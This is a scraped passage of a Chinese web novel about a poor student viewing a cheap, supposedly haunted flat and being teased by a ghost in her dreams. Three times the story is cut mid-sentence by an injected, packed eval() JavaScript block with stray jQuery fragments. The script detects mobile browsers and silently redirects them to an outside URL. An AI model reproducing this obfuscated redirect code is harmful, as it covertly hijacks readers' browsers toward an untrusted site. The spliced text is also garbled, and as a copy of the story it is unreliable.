《这鬼有病吧》
1. 我就值两百块?
盛夏的八月份总是伴着雨的。
马路边,路灯的光将少女身后的影子延展到远处。
迟岛提着长到脚踝的白裙子,小心绕过地上的水洼和泥泞,跟上前面的中介阿姨。
两人一前一后走着,脚步都略显急促。
毕竟这都晚上了,除了迟岛这种白天有课的大学生,没几个正常人会选在晚上看房。
带着迟岛进了小区,趁着等电梯和乘电梯的时间段,沈昭凤开始跟迟岛聊家常。表面上就是说说家长里短,实际上是在探迟岛的口风。
问了些长辈们都常关心的问题做铺垫后,果然话锋一转:“小岛是还在上大学?大二?怎么不住宿舍?小姑娘家家的,要自己一个人搬出来住。”
沈昭凤脸上挂着恰到好处的关心,活脱脱一副长辈关心小辈的模样。
迟岛后靠在电梯墙上,沈昭凤问出这话前,她还在偏头看着电梯里的广告发呆。闻言收回目光看向沈昭凤,眼底划过一抹了然。
偏开视线,只是淡淡地点头回话:“嗯,这样方便。”
“哈哈也是,自己一个人住也挺好。”沈昭凤笑哈哈地附和,“不过,这地段离着你们学校还是挺近的吧。”
迟岛头抵在电梯墙上,她上午上了半天的课,此时只觉得身心俱疲,根本不想配合着这人耍心眼,开口又是搪塞:“不清楚。”
她就是太累了,单纯地不想说话,但在沈昭凤眼里看来,这个穿着白裙子,第一眼看起来觉得温温柔柔的女孩子,其实并不好惹。
刚碰面时,等得久了点,女孩脸上挂着些油彩,小跑着过来和她笑着打招呼,往她怀里塞了根雪糕,面带歉意说:“抱歉姨,我们下课晚了些。”
当时以为迟岛好忽悠,这单应该能成,谁知道人家不傻。
沈昭凤低头微不可闻地叹地气,觉得这单又成不了了。
“叮咚。”
短暂的电梯提示音过后,电梯门应声打开,随着电梯门打开的缝隙越来越大,映入眼的是灯光明亮,干净整洁的楼道。
迟岛最先走出去,走几步后,才反应过来自己并不认识是哪间,随停下脚步扭头看向身后的沈昭凤。
沈昭凤笑着指了指不远处:“那间就是。”
房间门口,迟岛站在一边倚着墙,垂眸等着沈昭凤开门。
房门把手拧开,霎时间,毫无预期的陈旧霉味扑面而来,迟岛连忙捂住口鼻,后退好几步。
开门的沈昭凤尽管用手扇了扇风,还是被呛得一连咳嗽了好几声。
但作为中介,沈昭凤还是尽职地边咳嗽边解释:“咳咳咳,这房主人家就一直空着了,没人住也就没打扫过。”
打开门后的屋子里漆黑一片,根本看不清楚里面的布局,只有窗边透出的淡淡月光,才不至于让里面陷入纯粹的黑暗。
好久没打扫了啊。
迟岛垂下手,看向屋里时,对于房子的评分低了几分。
“啪嗒。”沈昭凤打开了玄关处的灯。
顶灯忽地一地亮起,房间里瞬间明亮起来,迟岛被晃了下眼睛,再睁开后看到的就是屋子里的装修。
空气中飘散着灰尘,地板上和各处角落也有不少积灰。
但抛开这些不看,屋内家具的摆设确实异常整齐,也都套上了防尘布,可以看出上一个主人很爱干净。
待屋里的灰散得差不多后,迟岛试探着走进屋内,原木地板,卡其色墙纸,屋里所置办的一切都莫名地很合迟岛的喜好。
走到窗边,外面还有一个小阳台,之前的主人貌似种了很多花花草草,但现在因为没人照料都枯死了。
天台上面乱糟糟的,布满杂草,枯叶,就连青苔也占据了一大块面积。
迟岛托着下巴仔细打量着:不过清理一下,再重新种一些花草应该会很漂亮,这里很适合看书画画。
想到这,迟岛觉得如果价格合适的话,也不是不可以考虑……但,中介呢?
放下手扭头去找人:“沈姨?”
房子里的布局本该都是由中介负责介绍,已经有过看房经验的迟岛也下意识去找人。
回过头才发现,沈昭凤就一直站在房门口,一步也没有迈进屋,心里不由带上疑问,“沈姨,你不进来?”
“我,我就不进去了,里面味道大,我身体不大好哈哈。”沈昭凤尬笑几声,抬手又在鼻尖前扇扇风。
迟岛站在原地不明所以,直觉告诉她这不太对劲,张张嘴还没等问题问出口,就被站门外的人给堵了回去。
沈昭凤掰着手指头开始介绍房子:“客厅,卧室,厨房和浴室的设备都很齐全,水费电费自己交,房租一个月五百块。还有别的问题吗?”
漏洞百出,十分有两百分的问题好吗……
迟岛缓缓吐出一口气往外走,觉得眼前的中介阿姨在把她当傻子忽悠。
站到沈昭凤面前,没想跟她搞那些弯弯绕绕,迟岛直截了当地问:“姨,这房子有问题?”
听到话的沈昭凤猛地抬头,却不慎对上迟岛质疑的眸子,连忙错开视线,摸摸鼻子说到:“哪哪有,怎么会有问题呢?我会骗你一个小姑娘?”
迟岛双手抱胸,闭上眼敷衍地点点头,问出口后就知道会是这样的回答,毫不意外。
迈开步子走向电梯,路过沈昭凤时淡淡开口:“那我不租了,本来看着布局挺好,价格也合适,打算签合同呢。”
眼见迟岛真要走,沈昭凤慌了,烦躁地抓抓自己的泡面卷,不知如何是好。
这可是几个月来最后一个看房的租客,要是能成当然再好不过,她能拿到的报酬还是很可观的,但要是成不了……
但眼看着迟岛就要乘电梯走了,沈昭凤心下一横:反正也成不了,告诉她也不吃亏。
“哎哎哎,告诉你就好了嘛。”
定下主意,快走几步拉住迟岛的胳膊,装出副无奈的样子:“那就实话跟你说了吧,不然我这良心也怪过意不去。”
迟岛转过身,垂眸看向被拉住的胳膊,不着痕迹地侧身挣开,脸上表情没变:“嗯,你说。”
沈昭凤观察着迟岛的脸色,拿不准她的态度,低头偷偷叹口气,现在小孩真不好忽悠。
没办法,都答应要说了,于是俯下身子,往迟岛那边凑了凑。
迟岛配合地弯下腰,等着她说。
只见沈昭凤手挡在嘴边,做贼似地瞄了一眼屋里,用气音说到:“这里之前死过人,所以一直没人租。不过你看,装修不错,价格也便宜是不是?”
死过人?怪不得,这样一来之前所有的怪事就都解释得通了。
意料之中又意料之外的解释,迟岛算不上很震惊,但还是怔了几秒。
直到耳后的一缕头发落到身前,迟岛才直起身抬眼看向沈昭凤,这人还在努力劝说她租下房子,嘴皮子都快磨破了……
没跟她一样压低声音说话,迟岛伸手关上玄关处的灯,屋子里陷入黑暗后,转头用正常音量回复沈昭凤:“那我也不租。”
“哎哎,再想想嘛,你要是嫌贵的话,价钱我们可以再谈的!这家主人说能租出去就行,租金什么都不是问题。”
沈昭凤拦住迟岛要关门的手,满脸陪笑地商量,“再说,说不定这些都是假的呢,又没人亲眼见过,那叫什么,哦对!杜绝封建迷信!”
说得很义正严辞,但实际上自己进都不敢进这间屋子。
迟岛看向沈昭凤紧贴门框站的脚:“……”
想说的话都忘了该怎么开口,握着门把要关门的手还没有收回来,气氛尴尬地凝地几秒钟。
“咳咳,你就说你租不租吧。”
兴许是知道自己刚才的话很扯,又或是被迟岛盯得有点不好意思,沈昭凤把脚往后撤了撤,略显难堪地绕过了方才的话题。
迟岛回过神,再次看向屋内。里面现在又回归成一片黑暗。
像调色板上那块不小心蹭上的黑色,即便再往上叠加上好几种不同颜色,也依旧改盖不住那深邃的底色。
她眼神淡漠地看着,指尖无意识摩挲着门把手不知道在想些什么,没有立即回话。
半晌,才一脸平静地移开视线看向沈昭凤:“方才说的价格?”
“价格?好说好说,都好说。”
愣了一瞬,敏锐地听明白迟岛的意思,沈昭凤笑得眼角皱纹都出来了,手上急急忙忙往包里翻着租房合同,接连回了好几句,生怕对方后悔。
迟岛站旁边看着沈昭凤掏合同,莫名地转头看了眼屋内,几年没人住过的房子总是一股霉味,在眼睛看不到的夜晚存在感更甚。
手微微用力,房门合上,黑暗被门挡在里面,没有溢出分毫。
迟岛握门把的手迟了几秒才松开。
懒懒地倚在墙上,抬眼望向亮到晃眼的楼道顶灯,光晕在眼前重影,闪得眼睛疼,闭上眼缓缓地吐出一口气。
好了,不是为了找刺激,也更不是脑子坏掉了,就单纯是因为……所有现金加手机上的钱,再算上银行卡里的,总共是1113块零8毛……而且这才刚刚月初。
穷啊。
沈昭凤在一堆破纸里终于翻出合同,破纸还没塞回包里,就着急忙慌地想递给迟岛。
迟岛没接,往后退了一步:“不是说价格能商量?”
沈昭凤一拍自己的泡面头:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724060|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊?哦对对对,瞧我这记性。”
放下合同,沈昭凤套近乎似地往迟岛身边凑了凑,脸上的笑容称得上灿烂:“那,小岛啊,价格你觉得多少合适哇?”
迟岛没砍过价,暗自观摩了下沈昭凤的态度,思索一番后,伸出两根手指:“两百。”
“行,没问题,我去给主家打个电话说一下!”
“哎。”没想到沈昭凤这么急,砍价的流程好像也不是这么走的,迟岛还想再说些什么。
可那人已经火急火燎去打电话了,迟岛只得把伸出去的手默默放下,不自主地摩挲指腹,心里像是不小心打翻的颜料混在一起,说不上来的复杂。
之前还没什么感觉,甚至用这么便宜的价格租下条件如此好的房子,任谁说都会觉得赚翻了。
但现在沈昭凤的态度,让迟岛只觉得自己这是接手了个烫手山芋。
貌似被坑了,还是自己花钱主动往坑里跳的那种……这就是,冤大头吗?
不等迟岛想明白,脖颈处莫名传来痒意打断了她的思绪,可能方才从耳后落至脸边的头发,搞得本就不明朗的内心更为烦躁。
没好气地伸手想将那缕头发重新别回耳后,手腕处却倏然一轻。
下意识侧头看向手腕,动作间,挂在白色裙摆上将掉未掉的手链“吧嗒”一声轻响,掉在地上。
迟岛垂眸瞧向地上的手链,哦,手链断了。
“滋啦——”一声电流声,迟岛捡手链的手顿在半空。
头顶正上方的顶灯开始毫无征兆地闪,明明暗暗间,迟岛的脚下的影子也时隐时现。空旷的楼道内只有迟岛一个人,此刻就连刻意放轻的呼吸声都格外明显。
她若无其事地拾起地上的手链站起身,抬眼望向忽然间抽风一样的楼道灯。
灯光闪动的频率越来越慢,最后在迟岛的注视下重新归于平静。
可能……就只是电线短路?迟岛低头微不可闻地松口气,松开紧紧攥住的手链,才注意到上面已经被硌出了很深的红印子。
也没有很疼,就是看着吓人。没有放在心上,垂下手往包里翻出手机看眼时间。
九点四十五。
去找沈昭凤吧,时间不早了,过了宵禁都进不去宿舍。
“呼!”
迈出去的脚还没有沾地,手机上的屏幕还没有熄灭,可一瞬间,一阵阴冷的风迎面刮过,仿佛还带着水汽。
迟岛胳膊挡在眼前,及肩的长发被吹得凌乱,她勉强睁开眼睛,在模糊的画面里,被风所经过的地方,楼道灯一盏一盏地熄灭。
片刻后,耳边的呼啸声归于平静,风停了?
迟岛将胳膊放下,试探着睁开眼,错愕了一瞬。
周遭一片漆黑,静谧中只有绿油油的安全指示牌,和尚未熄灭的手机屏幕还在敬职敬业地发着光。
迟岛用力攥住手机,指关节近乎发白,要赶紧走,这地方不对劲。
可这时候往往更需要镇静,她没有开手电筒,借着手机屏幕上微弱的光一步一步地往楼梯口挪。
不能走电梯,从楼梯下去,不管对方是什么,别吸引它的注意。
扶着墙慢慢走,根据迟岛的记忆现在早就应该到楼梯口了,它离着并不远。
所以……是鬼打墙?
不等细想,手上扶着的“墙面”温度骤冷,还往后退,迟岛没来得及松手,顺着惯性往前一栽。
裙摆微扬,没有倒在地上,倒是被一个冷冰冰的怀抱给抱了个结实。
涌入鼻腔的是下雨天的味道,很凉,还带着湿气,更像是抱住了一块冰。那一秒,迟岛脑中记忆闪回的瞬间,想到的竟然是雨林。
潮湿,危险……可他有呼吸声,虽然有点凉……
几秒钟的时间仿佛延长了一个世纪,漆黑的楼道内安静地落针可闻。
迟岛大脑空白了一瞬,一时不知道该如何动作。
“唔,你撞疼我了……”
吃痛地闷哼,延迟了有几个世纪那么久,尾音音调微扬,正大光明地碰瓷。
微凉的呼气撒在迟岛的脖颈处,有些发麻。骤然清醒,迅速捂住耳朵,后撤一步与那“人”拉开距离。
不知是不是错觉,周身的冷气又降了几分。
迟岛状似不经意地垂眸按灭身侧的手机屏幕,直到瞳孔中微弱的光点消失。
抬起头时表情依旧是淡淡的:“到底想干嘛?”在这装神弄鬼地吓唬人。
严肃的问话却和不着调的轻笑同时响起,声音由远及近:“不干什么,就想问问——”
尾音轻得像烟圈,再次若即若离地贴着迟岛的耳畔响起,“我就只值两百块钱啊?”
2. 就是死的比我早
晦暗的楼道内有一点显眼的白色,少女眉头微蹙,恬静的面容稍显不耐。
迟岛后退一步,那股寒意就不依不挠地朝她逼近一步。直到背在身后的手心触摸到也带着凉意的墙面,鞋跟抵上墙根,才发觉此刻早已退无可退。
脚步顿住,碰到墙面的那只手缓缓攥拳。
她现在是真有点烦,这吓唬人还上瘾了?
在迟岛看来,这人不是神经病就是纯恶趣味,不然哪个正常人大晚上不睡觉,那么麻烦搞这么大阵仗吓唬一个陌生人?
见实在甩不掉,迟岛也懒得动了,随意往墙上一靠,抬抬眼皮又撂下干脆顺着说:“你觉得自己值这么多?明明都贵了。”
再说这付的是房租,跟你这个神经病有什么关系?
“嗯?”对方最开始明显没反应过来,上扬着的尾音都变了个调,而后居然还能笑出声调侃回去:“哦,那你还愿意为我花这么多钱啊……”
他说话总是莫名地压低声音,非要凑到别人耳朵边说,话说到最后越来越轻,却因为离得太近连故意放轻的呼吸都清晰可闻。
“你……咳。”迟岛罕见地噎地,偏过头轻咳一声。不知道该怎么回话,这人脑子似乎是真的有病,还尤其的不要脸。
“所以……”突兀地顿住,掉人胃口后才不紧不慢地接上下句话:“我觉得我值那么多。”
“咳咳。”迟岛又咳嗽几声:“哦,那你还真是自恋。”
面对依旧冷冰冰的态度,他显然没多在意,还能恶劣地重复起迟岛的话:“哦,那我确实好自恋。”
迟岛眼皮一跳,转头时却是毫无波澜的冷淡:“知道你闲,但麻烦离我远点,还有事,没时间陪你玩这么幼稚的吓人游戏。”
很明显拙略地转移话题。
“哎,那可惜。”装模作样地叹气,迟岛只觉得周身的冷意一散,他退开了。
属于夏天独有的热意重新涌来,可或许是方才冷得久了,迟岛只觉得又冷又热,冰火两重天,不免打了个寒颤。
“也可以向我问点别的,毕竟我很闲,也有很多时间。”
懒得再回答身边人的话,她搓搓露在外面的胳膊,继续扶着墙往前走。可是……这次也感觉过了很久,手电筒的光还是没有照到要找的楼梯口。
光能照到的地方能看到漂浮在空中的灰尘,搭配上指示牌的绿光,不言而喻的诡异。
迟岛默了默,慢吞吞地转过头,伸出食指在面前绕了个圈:“你搞的鬼?”
“说实话,你这样时不时地怀疑会令我心寒。”
用倦怠的语气说出这样的话,没有一点可信度,迟岛的手还没收回来,嘴角一抽,心里简直要气笑了。
但没等到她发火,吊儿郎当的那位又慢悠悠地补充出下句话:
“但这位小姐如果能把对我的注意力,稍微匀出一点来放在辨别方向上,我想应该就用不到来问我了。”
迟岛呼之欲出的怒火被浇灭一半,嘴唇微张明显没反应过来,啊?啊?这意思是?
或许是逗弄人的坏心思得到满足,旁边人的轻笑声被闷在胸膛里,在寂静的夜里稍显突兀。
“简单来说就是……方向反了。”
迟岛:“……”转过身朝着正确的方向走,面上波澜不惊地回答:“哦,这么晚才说怎么没憋死你。”
“那还真是很抱歉,要做到憋死的话……对我来说还真有点困难。”笑得有些莫名其妙,说的话仿佛也含着别的意思。
迟岛心下疑惑,但犹豫片刻后到底是没张口询问。
不想和他说话,跟神经病没话讲。
“哒,哒,哒。”昏暗安静的楼道内没有人声,脚步声便就显得异常清晰。
但是……不太对劲。
迟岛走路的动作放慢下来,刻意放轻,果然回荡的脚步声也渐小起来。
现在楼道里……只有她一个人的脚步声!
蓦然意识到这点,迟岛琥珀色的瞳孔微微瞪大,顿感后颈一凉,握手机的手不由抖了一下,手电筒的光自然也随之颤抖。
“怎么?这就走累了?体力这么差还怎么逃出去啊。”
冰凉的吐息声喷洒在她的脖颈处,迟岛不知道自己什么时候无意停下了脚步,只是怔怔地站在原地,听着揶揄的话在耳边响起。
再次感受到那股潮湿的凉意,这次彻底明白过来了。
对方不是人,是鬼!鬼没有脚步声。
迟岛清楚地感觉到自己心跳声加快,但她却硬是将惊呼声咽了回去:
“谢谢关心,至少死不到你前面。”说出的话毫无异样,依旧冷淡,更听不出一点害怕。
她仿佛什么都没发现般继续朝前走。
那么多异常,其实早就该想明白的。迟岛撇撇嘴笑得有点难看,自己刚才真是脑子短路了这都没发现。
但现在……装作什么都没发现才是暂时安全的。
迟岛琥珀色的漂亮眼睛里一片冷漠,忽然间不知道想到什么,唇角勾起一抹狡黠的笑。
而且,他就是死得比,我,早。
“猜这么准啊,那你不妨再猜猜看。”说话时依旧带着轻笑,听不出喜怒,“就猜……你以后做的每一个梦里会不会都有我。”
寒凉的气息轻缓地抚上迟岛的脖颈,貌似被碰到的那处冻得发麻,周围的空气骤降,呼出的气都成了白雾。
这是不打算装了,和她摊牌呢。纵使被扼住咽喉,迟岛却忽地一下嗤笑出声。
想看她害怕求饶的惨样?迟岛眉梢一挑,唇角勾起一抹冷笑。攥紧手上的帆布包带子,手腕一翻,呼地一下直接甩过去。
门都没有。
一瞬间,只听耳边只有呼啸的风声,白色帆布包在空中转了一圈后,迟岛手上一滑“咻”帆布包飞了出去,掉在地上后还一连翻滚好几圈,沾上不少灰。
迟岛垂眸看向空掉的手心:……
一动没动但没被打到的鬼:……
气氛陷入了诡异的安静。
迟岛盯着滚远的包,突然想起里面装着明天要交的作业……
“扑哧。”
迟岛冷冷地抬眼,这很好笑?笑点真低。
正想说些什么来嘲讽一下这鬼的笑点,张嘴的刹那脑袋倏然一晕,受不住地扶额低下头。
“哗啦啦!”恍惚间,仿佛听到了玻璃般碎裂的声音。
发生了什么?迟岛突如其来的晕眩渐渐退去,试探着睁开眼睛,却被突然炸亮的灯光刺痛一下。条件反射眨了下眼睛,睫毛在眼下投射的阴影也跟着抖了抖。
“小岛小岛,谈妥了!房东说没问题,明天就可以签合同!”
伴随着哒哒哒的跑动声,和沈昭凤的喊声,眼前模糊的场景随之清晰起来。
楼道内的灯都还好好亮着,沈昭凤正拿着一份合同手舞足蹈地朝她比划着,嘴角的笑就没下去过,头上的泡面卷都随着动作一起晃。
这是……
迟岛愣在那里懵了好一会,突然想起什么,抬起手看向自己的手腕。
那条钻石手链还好端端的,哪里有过断开的痕迹。
但这不对……她明明记得它断了,还掉在地上……
这一刻,迟岛只觉得眼前的场景都在旋转,她貌似分不清现实和梦境了,所以刚才是……梦吗?好像还遇到鬼了……
“小岛,小岛?”沈昭凤的手在迟岛眼前晃晃,直到她回过神才问:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724061|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“怎么了啊,看你一直愣神。”
迟岛摇摇头,主要她也不知该怎样形容那个光怪陆离的梦。
沈昭凤松口气:“那就好那就好,最近天冷可千万别生病了,那你看……这合同没问题的话,我们签了?”
前面的都是铺垫,只有后面是重点。迟岛也不在意,要是换做刚才,她肯定很爽快地就签了,不过现在……
迟岛垂眸盯着地砖上的裂缝,沈昭凤还在喋喋不休地怂恿着。
“所以你看,这么划算的真的不好找了……”
“我不租了。”
“赶紧定下也是为你,啊?啊?”话没刹住车的沈昭凤明显没反应过来,脸上的笑容一僵。
连忙问:“怎么了啊,刚不是还谈得好好的?是还有哪里不满意?价格的问题还可以再商量。”
“不是,就是……”这房子里可能真的有鬼。话到嘴边迟岛又咽了回去,歉意地笑笑:“就是不想租了,抱歉。”
“总要有个理由吧……你这。”沈昭凤着急地咂咂嘴。
迟岛正正神色,提起快从肩头滑落的帆布包,抬眼笑着看向沈昭凤:“姨,你刚才有听到什么声音吗?”
沈昭凤一愣,猛的抬头扫视一圈四周,然后又小心翼翼地凑到迟岛身边问:“没没有,小,小岛啊,你听见什么了?”
“没什么。”就是吓唬你一下。
白裙少女笑得温柔很有欺骗性,珍珠耳环都泛着润泽的光:“抱歉,可能听错了吧。”
“哦,这样啊。”沈昭凤松了一口气,真的是,还以为真有鬼呢。
“嗯。”迟岛面上挂着乖巧的笑点点头,“那这房子?”
沈昭凤如释重负的笑容淡了些,她叹口气摇摇头:“你不租,我总不能逼你不是。”
随后收起合同,转身往电梯走:“走了走了,这天都这么晚了。”
沉默地看着沈昭凤的背影,她没有立刻走,停留在原地,脸上温柔的笑渐渐淡去,转眼间又变得冷淡。
平静地侧头看向仍旧紧紧闭着的房门,眼神复杂,不知道在想什么。
半响,“叮咚。”电梯到了。
沈昭凤进去前左顾右盼了一下,发现迟岛还站在那,皱皱眉头朝她招手:“小岛,愣着干嘛呢,电梯到了。”
迟岛点点头走向沈昭凤,走到一半,鬼使神差地停下脚步回头看了眼。
“快点啊小岛。”沈昭凤按着电梯楼层不住地催。
“来了。”迟岛将手中的帆布包带子攥紧,快走几步进了电梯。
靠上电梯里的广告牌,迟岛只觉得现在连说话的力气都没有了。眼见着电梯门的缝隙越来越小,她现在只想快点回去睡觉,以后打死不会再来这地方。
迷迷糊糊的闭上眼睛,恍惚间发现尚未关上的电梯门外,居然不知道什么时候站着一个带着鸭舌帽的少年。
似乎在目不转睛的看着她,迟岛面无表情地看回去。
或许是被迟岛看得不好意思,少年低下头轻笑一声,帽子遮住眼睛,站着的地方灯光又昏暗得不像话,根本看不清面容。
电梯门彻底合上,电梯正常下坠,迟岛低头,终于松一口气。晃晃脑袋,把脑子里乱七八槽的事都甩出去。
就是,世界上哪有那么多超自然的怪事,凑巧发生在自己身上的概率也太小了。
昏暗空旷的楼道内只剩下少年一个人,他随意摘掉头上的帽子,单手将挡眼的头发向后梳。
灯光下他大半张脸隐在黑暗里,只能看清嘴角漫不经心勾起的弧度。
吊儿郎当的转着手上的帽子,拉开迟岛才关上的房门走进去。
“咔哒”房门合上,楼道里的声控灯应声亮起。
3. 这个神经病没心跳
缓缓下降的电梯内,迟岛靠广告牌上合着眼小憩。
沈昭凤外放短视频的声音大得离谱,她就算困得睁不开眼也根本不可能睡得着。
认命地睁开眼,望着电梯顶发呆的时候打了个哈欠,低下头揩掉眼角溢出的泪花。
再抬起头时才慢半拍发现,电梯里已经没声音了,疑惑地看向沈昭凤,她正垂头在衣领处不知道捣鼓些什么。
迟岛看了一会难得好奇:“沈姨,怎么了?”
沈昭凤动作一滞,没立即回话,因为照她看,迟岛不像是会主动搭闲话的那种小孩,甚至别人主动找她聊多半都会被敷衍过去,这一点沈昭凤套话时就深有体会。
再何况从迟岛说过不租那套房子以后,两人之间的气氛就不怎么好,中介和租客之间就只是纯纯的利益关系。
所以迟岛会主动搭话,沈昭凤很意外。
迟岛正静静地站在一边等着沈昭凤回话,这么没话找话,她自己倒是一点不尴尬,没骨头似地倚在墙上打着哈欠。
可能是因为刚才那个荒谬绝伦的梦?反正现在就想多感受点活人气,只想和活人说话……对,活人。
再次不可避免地想到梦里那只说话很欠揍的鬼,迟岛的镇定自若裂开了一条缝。
当然,肯定不是所有的鬼都跟他一样神经病……
沈昭凤很快回过神来,继续低头捣鼓胸前戴的佛牌:“没事没事,就是这佛像不知道是裂了条缝,还是沾上啥污渍了。”
回完迟岛的话后又自己嘀咕了一句:“嘶……奇了怪了,怎么擦不掉”
沈昭凤脖子上是个金佛牌,因为对于那些很是迷信,自从买回来便天天挂在脖上,甚至特意找大师开了光。
迟岛听闻愣了一下,随即明显心不在焉地点点头:“哦,这样啊。”
收回目光,转而盯着电梯显示器上跳动的数字看。
沈昭凤窸窸窣窣的声音不大,迟岛听得有点昏昏欲睡,半梦半醒间觉得好像有哪里不太对劲。
好像……最开始是听到了沈昭凤的声音后,才从那个荒诞的梦里醒过来,睁开眼第一个看见的也是沈昭凤,现在佛牌裂了条缝……
迟岛倏然睁开眼,侧头看向那尊小金佛牌时,原本无精打采的眼睛里划过一抹恍然。
哦,原来是这样。
“沈姨,你这个是从哪里买的?”挺厉害,还驱鬼。
“叮咚——”电梯到了。
两道声音在同一时间段响起,低头只顾心疼佛牌的沈昭凤没听到。
“啊小岛,你刚才说什么?”
迟岛顿了顿,余光瞥向正在打开的电梯门,将没问出口的话咽了回去,嘴角挂着浅笑,抬手指向正在打开的电梯门:“没什么,我们到了。”
背好帆布包率先走出电梯时,嘴角扬起些弧度,连脚步都变得潇洒轻快。
算了,反正以后再也不会来这个鬼地方。
两人一路无言地出了小区,没了多余的客套和试探,分别往不同的方向离开。
迟岛跟着人流乘上地铁,现在过了下班放学的时间,地铁上的人不算多,她找了个中间靠窗的位置坐下。
把包放在腿上,偏头静静看着窗外后退的景象,昏暗夜色下其实只能看见那些颜色各异的灯光,以及玻璃反光下那双淡漠的琥珀色眼睛。
愣神般地看了不知道多久,才不太自在地移开视线,往后一倒靠上身后的靠背。
晚上的地铁算得上安静,都忙碌了一天根本没精力干别的,对面大叔呼呼的鼾声,偶尔也会有小孩子声音不大的玩闹声。
气氛很好,周围都是活人,莫名地安心。
迟岛迷迷糊糊地合上眼睛,本来就够累了,刚又做了个关于鬼的噩梦……反正距离到站还早,睡一觉没关系吧。
地铁晃动的频率逐渐呼吸声同频。
窗外的灯光明明暗暗,白裙少女侧头睡得恬静,墨色的长发披在肩头,几缕不听话的发丝遮住眼眸。
她眼皮动动,却只是眉头微蹙,没有醒过来……
“刷拉。”像是幕布揭开的声音。
迟岛睫毛轻颤着睁开眼,然后愣在原地,四周皆是望不到头的昏暗。
被绑了?
她伸手抬到眼前用力握了一下,手心被攥出指甲的红印,但是一点痛觉都没有,缓缓垂下手,眼底的警惕散去。
甚至开始饶有兴致地打量起四周,试探着迈开步子走出一步,有些轻飘飘,像走在云端上。
所以这是梦吧?她记得自己好像是在地铁上睡着了来着。
最近这么累吗?怎么总做些奇奇怪怪的梦。
晦暗的黑暗中,这里宛若一个尚未开演的舞台剧台子,只有一束光照在迟岛身上。她去哪光去哪,其余地方都是昏暗,导致穿白裙的少女在光下在黑暗中就格外亮眼。
迟岛漫无目的地在梦里闲逛。这里什么东西都没有,只有一眼望不到头的黑暗。
挺无聊的,迟岛晃悠着停下脚步不走了,干脆地拢拢裙子在原地坐下。
又不知道过了多久,久到迟岛头一歪差点在梦又睡过去。
这时一阵“哒哒哒”的脚步声由远及近,仿佛还带着回声。
终于有人来了?迟岛懒懒地撩起眼皮。
哦,是我自己啊……眼睛又重新合上。
不对,我?猛地睁大眼睛坐直。
看着眼前与自己一般无二的样貌,迟岛深呼一口气后冷静下来,这是在梦里,什么都有可能发生。
她眼神淡漠地看着眼前的自己,哦,准确说是几小时前的自己。
“迟岛”正打着手机光在幽暗的楼道里摸索着前进。
第一次以这个视角看自己,挺新奇的,迟岛看得津津有味,总觉得手里缺把瓜子。
看着“迟岛”走了不知道多久,终于是发现了不对劲,侧过头看旁边的“人”。
“喂,你搞的鬼?”她手指在眼前转了一圈,侧过头看向旁边的……空气?
啊?好了,现在轮到一旁看戏的迟岛震惊了,她眼睛微微瞪大,呼吸都停滞了一秒。
所以她之前一直是在对着空气说话?
紧接着自我否定地摇摇头,这说不通,她当时……能摸得到他,甚至……能感受到他刻意放轻的呼吸。
所以……他至少应该有个实体吧?但陷入回想后才发现,记忆中的自己……好像没见过他的样子。
迟岛思考的间隙,过去的画面依旧在一刻不停地回放着,“说实话,你这样时不时地怀疑会令我心寒。”
空旷的楼道里诡异地回荡着吊儿郎当地抱怨,她看见自己毫无察觉地翻了个白眼。
迟岛默了默:“……”她当时这样都没发现吗?
“对啊,那样都没发现。”和回忆中一模一样吊儿郎当的语气。与刚才画面中的声音,蓦然重叠着在耳边响起,令人不禁恍然一瞬。
迟岛猛地侧过身,身后的一片黑暗中当然看不见人。
倏然想起这是自己的梦,她唇角勾起一抹冷笑,双手抱胸淡淡地挑衅:“这么喜欢神出鬼没,是知道自己见不得人?”
“鬼都喜欢神出鬼没,吓到你了真是不好意思。”
极具杀伤力的话像打在一团棉花上,被不轻不重地反向嘲讽回来。
阴魂不散,这就是说的梦里见?到底谁想见。
迟岛嘴角的笑僵了僵,干脆转过身不再搭理,当没他这个鬼。
但对方似乎很有谈话的兴致,主动挑起了话头。
“你就不好奇?”
“好奇什么?有话直说。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724062|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迟岛没好气地回答,搓搓胳膊嫌弃地往旁边站了站。
冻死人了,这家伙一点意识不到自己有多讨人厌。
“比如……人和鬼的差别那么大,为什么向来敏锐的你却没有及时察觉到异常?”
冰冷的吐息不依不饶地凑过来,迟岛神色一怔,搓胳膊的动作跟着一顿。
半响,迟岛神色未变又往旁边挪了一步,看向回忆中的自己:“不好奇,一点不想知道。”
低下头迟岛盯着自己的鞋尖,其实是好奇的,她一直想不明白这件事,但要是因为这样而和他扯上话,那她宁愿这辈子不知道。
